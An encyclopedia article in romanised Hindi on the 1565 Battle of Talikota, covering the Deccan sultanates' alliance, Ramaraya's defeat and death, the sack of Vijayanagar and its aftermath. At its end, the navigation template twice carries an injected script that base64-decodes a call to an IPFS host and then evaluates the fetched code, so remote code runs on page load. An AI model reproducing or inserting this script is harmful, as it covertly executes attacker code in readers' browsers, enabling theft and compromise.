तालीकोटा का युद्ध

भारत डिस्कवरी प्रस्तुति
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talikota ka yuddh (aangrezi: Battle of Talikota) 25 janavari, 1565 ee. ko l da gaya tha. is yuddh ko 'rakshasi tang di ka yuddh' aur 'bannihatti ka yuddh' ke nam se bhi jana jata hai. vijayanagar samrajy ke virodhi mahasangh mean ahamadanagar, bijapur, golakunda aur bidar shamil the. golakunda aur barar ke madhy parasparik shatruta ke karan barar isamean shamil nahian tha. is mahasangh ke neta ali adilashah pratham ne ramaray se rayachoor evan 'mudgal' ke qiloan ko vapas maanga. ramaray dvara maang thukaraye jane par dakshin ke sultanoan ki sanyukt sena 'rakshasi-tang di' ki or b di, jahaan ramaray evan sanyukt morche ki sena mean bhanyakar yuddh prarambh hua. is yuddh mean vijayanagar samrajy ko har ka samana karana p da. isake sath hi dakshin bharat ke aantim hindoo samrajy ka patan ho gaya.

yuddh ki nianv

talikota ki l daee ke samay sadashiv ray vijayanagar samrajy ke shasak the. itihasakaroan ka kahana hai ki sadashiv namamatr ke shasak the, is sath‍ta ki asali takat unake mantri ramaray ke hathoan mean bhi. sadashiv ray ne apane shasan ke dauran dakkan ki saltanatoan ke bich vivad paida karake unhean poori tarah se kuchalane ki koshish ki thi, halaanki bad mean in saltanatoan ko vijayanagar ke is mansoobe ke bare mean pata chal gaya tha aur unhoanne ekajut hokar ek gathabandhan ka nirman kiya. is gathabandhan mean ahamadanagar, bijapur, golakuanda aur bidar shamil the. golakunda aur barar ke madhy parasparik shatruta ke karan barar isamean shamil nahian hua.[1]

yuddh ki shurooat bijapur ke sultan ali adilashah ne vijayanagar se rayachoor, mudgal, adoni adi kiloan ki vapasi ki maang karake ki. mantri ramaray ne is maang ko thukara diya. jisake bad 25 janavari, 1565 mean sanyukt senaoan aur vijayanagar ke bich talikota (rakshasi tangani ya banni hatti) mean yuddh shuroo ho gaya. yuddh mean vijayanagar ki sena ko buri tarah parajit kiya gaya. 70 varshiy ramaray viratapoorvak l da, kintu use gher kar berahami se mar dala gaya. bad mean vijayanagar shahar ko nirmamatapoorvak loota gaya.

eershya aur ghrina ki rajanitik

bannihatti ya talikota ke yuddh ne samany roop se vijayanagar samrajy ke shanadar yug ka aant kiya. itihasakaroan ka kahana hai ki is yuddh ka vastavik karan vijayanagar ke prati dakshini saltanatoan ki saman eershya aur ghrina thi. yah ek prakar ka rajanitik yuddh tha. is yuddh ka pratyakshadarshi sevel tha. is yuddh ke bare mean usane likha hai ki tisare din ke aant ka praranbh dekha. yuddh vijay ke bad musalaman ranakshetr mean vishram tatha jalapan ke lie thahare the, isake bad jab ve rajadhani pahuanche to us samay ke bad se paanch mahinoan tak vijayanagar ko lagatar loota gaya. unhoanne nadi ke nikat bane vitthal svami ke mandir ke shan se saje hue bhavanoan mean bhayankar ag laga di aur jamakar narasanhar kiya.

yuddh ka parinam

talikota ki l daee ke pashchat dakshin bharatiy rajaniti mean vijayanagar rajy ki pramukhata samapt ho gayi. maisoor ke rajy, vellor ke nayakoan aur shimoga mean keladi ke nayakoan nean vijayanagar se apani svatantrata ki ghoshana ki. halaanki dakkan ki in saltanatoan ne vijayanagar ki is parajay ka labh nahian utha pae aur punah pahale ki tarah ek-doosare se l dane mean vyast ho ge aur aantatah mugaloan ke akraman ke shikar hue.

vijayanagar ki har ke karan

is yuddh mean dakkan ki saltanatoan ki tulana mean vijayanagar ki sena mean ghu dasavar sena ki kam sankhya thi. vahian dakkan ki saltanatoan ki tulana mean vijayanagar ki sena ne jo bhi hathiyar istemal kiye gaye, ve adhik upayogi nahian the. inake samane dakkan ki saltanatoan ke topakhane behatar sabit hue. itihasakaroan ka manana hai ki vijayanagar ki har ka sabase b da karan gilani bhaiyoan ka vishvasaghat tha, jisake karan vijayanagar ki sena ko parajay ka samana karana p da.[1]

yuddh ke pramukh biandu

  • talikota ke is yuddh ko 'rakshasi tang di ka yuddh' aur 'bannihatti ka yuddh' ke nam se bhi jana jata hai.
  • vijayanagar samrajy ke virodhi mahasangh mean ahamadanagar, bijapur, golakunda aur bidar shamil the.
  • yuddh shuroo karane ke lie is mahasangh ke neta ali adilashah pratham ne ramaray se rayachoor evan mudgal ke kile ko vapas maanga.
  • maang thukarae jane par dakshin ke sultanoan ki sanyukt sena ne 25 janavari, 1565 ko hamala bol diya.
  • is yuddh ke prarambhik kshanoan mean sanyukt morcha viphal hota hua nazar aya, parantu antim samay mean topoan ke prayog dvara muslim sanyukt sena ne vijayanagar sena par kahar dha diya.
  • yuddh kshetr mean hi sattar varshiy ramaray ko gher kar mar diya gaya, ramaray ki hatya husain shah ne ki thi.
  • ramaray ki parajay v usaki maut ke bad vijayanagar shahar ko nirmamatapoorvak loota gaya.
  • is yuddh ki ganana bharatiy itihas ke vinashakari yuddhoan mean ki jati hai.
  • yuddh mean harane ke bad bhi vijayanagar samrajy lagabhag sau varsh tak jivit raha.
  • tirumal ke sahayog se ramaray ke bhaee sadashiv ne penukoanda ko rajadhani banakar phir se shasan karana prarambh kiya.
  • yahian par vijayanagar mean chauthe aravidu vansh ki sthapana ki gee.
  • farishta ke anusar yah yuddh ‘talikota’ mean l da gaya, par yuddh ka vastavik kshetr 'rakshasi' evan 'tang di' gaanvoan ke bich ka kshetr tha.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
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tika tippani aur sandarbh

  1. ↑ 1.0 1.1 talikot ka vah vinashakari yuddh, jisaka karan thi eershya aur ghrina (hiandi) navbharattimes.indiatimes.com. abhigaman tithi: 22 sitanbar, 2021.

sanbandhit lekh

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svatantrata ke bad

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[[Template:vijayanagar samrajy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|dekhean]] • [[|varta]] • [{{fullurl:Template:vijayanagar samrajy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}badalean]
vijayanagar samrajy (1326-1565 ee.)

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